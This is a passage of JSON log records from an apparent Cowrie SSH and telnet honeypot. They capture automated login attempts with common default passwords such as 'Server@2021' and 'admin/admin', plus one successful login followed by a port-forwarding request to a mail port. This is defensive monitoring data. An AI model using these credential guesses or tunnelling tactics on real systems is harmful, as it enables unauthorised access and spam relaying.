fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:49.751449Z","src_ip":"103.190.242.61","session":"d6abecc1b490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.289300918579102,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:50.481701Z","src_ip":"190.97.236.109","session":"6515f29363fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":10487,"dst_ip":"10.17.0.5","dst_port":22,"session":"472107354b0e","protocol":"ssh","message":"New connection: 193.46.255.86:10487 (10.17.0.5:22) [session: 472107354b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:50.507373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:50.512520Z","src_ip":"193.46.255.86","session":"472107354b0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2021","message":"login attempt [root/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:50.567006Z","src_ip":"103.190.242.61","session":"d6abecc1b490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:50.653685Z","src_ip":"193.46.255.86","session":"472107354b0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:51.047901Z","src_ip":"103.190.242.61","session":"d6abecc1b490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":52196,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0c32b77ce7d","protocol":"ssh","message":"New connection: 103.190.242.61:52196 (10.17.0.5:22) [session: c0c32b77ce7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:51.250542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:51.255226Z","src_ip":"103.190.242.61","session":"c0c32b77ce7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"88888888","message":"login attempt [admin/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:51.293899Z","src_ip":"193.46.255.86","session":"472107354b0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:51.451235Z","src_ip":"103.190.242.61","session":"c0c32b77ce7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2021","message":"login attempt [admin/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:52.264805Z","src_ip":"103.190.242.61","session":"c0c32b77ce7d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:52.439122Z","src_ip":"193.46.255.86","session":"472107354b0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"81.19.77.166","dst_port":587,"src_ip":"193.46.255.86","src_port":22,"message":"direct-tcp connection request to 81.19.77.166:587 from 127.0.0.1:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:52.582877Z","session":"472107354b0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"81.19.77.166","dst_port":587,"data":"b'E'","id":0,"message":"discarded direct-tcp forward request 0 to 81.19.77.166:587 with data b'E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:52.726303Z","src_ip":"193.46.255.86","session":"472107354b0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:52.745816Z","src_ip":"103.190.242.61","session":"c0c32b77ce7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:52.870649Z","src_ip":"193.46.255.86","session":"472107354b0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":52324,"dst_ip":"10.17.0.5","dst_port":22,"session":"9902159b5648","protocol":"ssh","message":"New connection: 103.190.242.61:52324 (10.17.0.5:22) [session: 9902159b5648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:52.946493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:52.951450Z","src_ip":"103.190.242.61","session":"9902159b5648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:53.144949Z","src_ip":"103.190.242.61","session":"9902159b5648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2021","message":"login attempt [user/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:53.952117Z","src_ip":"103.190.242.61","session":"9902159b5648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:54.431368Z","src_ip":"103.190.242.61","session":"9902159b5648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":52456,"dst_ip":"10.17.0.5","dst_port":22,"session":"2242a2ac807a","protocol":"ssh","message":"New connection: 103.190.242.61:52456 (10.17.0.5:22) [session: 2242a2ac807a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:54.635354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:54.641164Z","src_ip":"103.190.242.61","session":"2242a2ac807a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:54.838719Z","src_ip":"103.190.242.61","session":"2242a2ac807a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2021","message":"login attempt [user2/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:55.654710Z","src_ip":"103.190.242.61","session":"2242a2ac807a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.93672323226929,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:55.970899Z","src_ip":"137.184.155.248","session":"27286648cc43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:56.134915Z","src_ip":"103.190.242.61","session":"2242a2ac807a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":52588,"dst_ip":"10.17.0.5","dst_port":22,"session":"c56fe749748a","protocol":"ssh","message":"New connection: 103.190.242.61:52588 (10.17.0.5:22) [session: c56fe749748a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:56.340445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:56.345830Z","src_ip":"103.190.242.61","session":"c56fe749748a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:56.543067Z","src_ip":"103.190.242.61","session":"c56fe749748a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.15482473373413,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:56.685355Z","src_ip":"102.0.25.166","session":"c3dbdbaddf0c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2022","message":"login attempt [root/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:57.365913Z","src_ip":"103.190.242.61","session":"c56fe749748a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39430,"dst_ip":"10.17.0.5","dst_port":23,"session":"b95e9f30b00e","protocol":"telnet","message":"New connection: 137.184.155.248:39430 (10.17.0.5:23) [session: b95e9f30b00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:57.420988Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:57.846896Z","src_ip":"103.190.242.61","session":"c56fe749748a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":52720,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bb59d6b3d6b","protocol":"ssh","message":"New connection: 103.190.242.61:52720 (10.17.0.5:22) [session: 3bb59d6b3d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:58.048088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:58.053453Z","src_ip":"103.190.242.61","session":"3bb59d6b3d6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:58.249653Z","src_ip":"103.190.242.61","session":"3bb59d6b3d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2022","message":"login attempt [admin/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:59.065417Z","src_ip":"103.190.242.61","session":"3bb59d6b3d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:59.546539Z","src_ip":"103.190.242.61","session":"3bb59d6b3d6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":52857,"dst_ip":"10.17.0.5","dst_port":22,"session":"76f6061e3781","protocol":"ssh","message":"New connection: 103.190.242.61:52857 (10.17.0.5:22) [session: 76f6061e3781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:59.749707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:59.754931Z","src_ip":"103.190.242.61","session":"76f6061e3781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:59.952071Z","src_ip":"103.190.242.61","session":"76f6061e3781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2022","message":"login attempt [user/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:00.767121Z","src_ip":"103.190.242.61","session":"76f6061e3781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.70659351348877,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:01.155177Z","src_ip":"137.184.155.248","session":"505a1ba07fe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:01.254275Z","src_ip":"103.190.242.61","session":"76f6061e3781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":52989,"dst_ip":"10.17.0.5","dst_port":22,"session":"f83b8add9d94","protocol":"ssh","message":"New connection: 103.190.242.61:52989 (10.17.0.5:22) [session: f83b8add9d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:01.452086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:01.457768Z","src_ip":"103.190.242.61","session":"f83b8add9d94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:01.654234Z","src_ip":"103.190.242.61","session":"f83b8add9d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2022","message":"login attempt [user2/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:02.470232Z","src_ip":"103.190.242.61","session":"f83b8add9d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:02.951140Z","src_ip":"103.190.242.61","session":"f83b8add9d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":53115,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4b2434d73bb","protocol":"ssh","message":"New connection: 103.190.242.61:53115 (10.17.0.5:22) [session: c4b2434d73bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:03.155209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:03.160708Z","src_ip":"103.190.242.61","session":"c4b2434d73bb","protocol":"ssh"}
